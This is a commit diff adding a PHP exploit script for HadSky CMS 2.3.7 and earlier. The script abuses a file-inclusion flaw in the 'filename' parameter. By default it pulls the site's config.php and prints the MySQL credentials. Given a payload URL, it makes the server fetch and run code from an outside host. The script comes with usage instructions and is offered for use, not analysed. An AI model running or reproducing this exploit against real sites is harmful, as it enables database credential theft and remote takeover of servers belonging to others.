add an exp

exp4php/hadsky.php

@@ -0,0 +1,65 @@
+<?php
+/**
+Author:l34rner
+Desc:HadSky CMS <=2.3.7 remote code excution && file disclosure vulnerability
+
+**/
+$die=<<<str
+
+usage:php $argv[0] target [payloadURL]
+
+Eg: php $argv[0] http://www.google.com/HadSky/ [http://yourServer/payload.txt]
+
+if you dont set the payloadURL,This exp will read the site`s config.php by default.
+
+str;
+if($argc<2 || $argc>3)
+{
+	die($die);
+}
+$poc='?c=page&filename=./puyuetian/mysql/config.php';
+$ch=curl_init();
+if(!$ch)
+{
+	die("Dont support curl!");
+}
+
+if($argc==2)
+{
+	$url=$argv[1].$poc;
+	curl_setopt($ch, CURLOPT_URL, $url);
+	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+	curl_setopt($ch, CURLOPT_HEADER, 0);
+	$out=curl_exec($ch);
+	$start=strpos($out,'$_G[\'MYSQL\']');	
+	$end=strpos($out,'$_G[\'MYSQL\'][\'CHARSET\']');
+	$output=substr($out,$start,$end-$start);
+	if($output)
+	{
+		echo "\r\noh yeah,got the result\r\n\r\n";
+		echo $output;
+	}
+	else
+	{
+		echo "oops,seems the config file has been renamed!";
+	}
+}
+if($argc==3)
+{
+	$url=$argv[1].'?c=page&filename='.$argv[2];
+	curl_setopt($ch, CURLOPT_URL, $url);
+	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+	curl_setopt($ch, CURLOPT_HEADER, 0);
+	$out=curl_exec($ch);
+	$error='未找到的模板文件！';
+	$errorpos=strpos($out, $error);
+	if($errorpos===false)
+	{
+		echo "Done,ur code has been  excuted successfully!";
+	}
+	else
+	{
+		echo "Failed!";
+	}
+}
+?>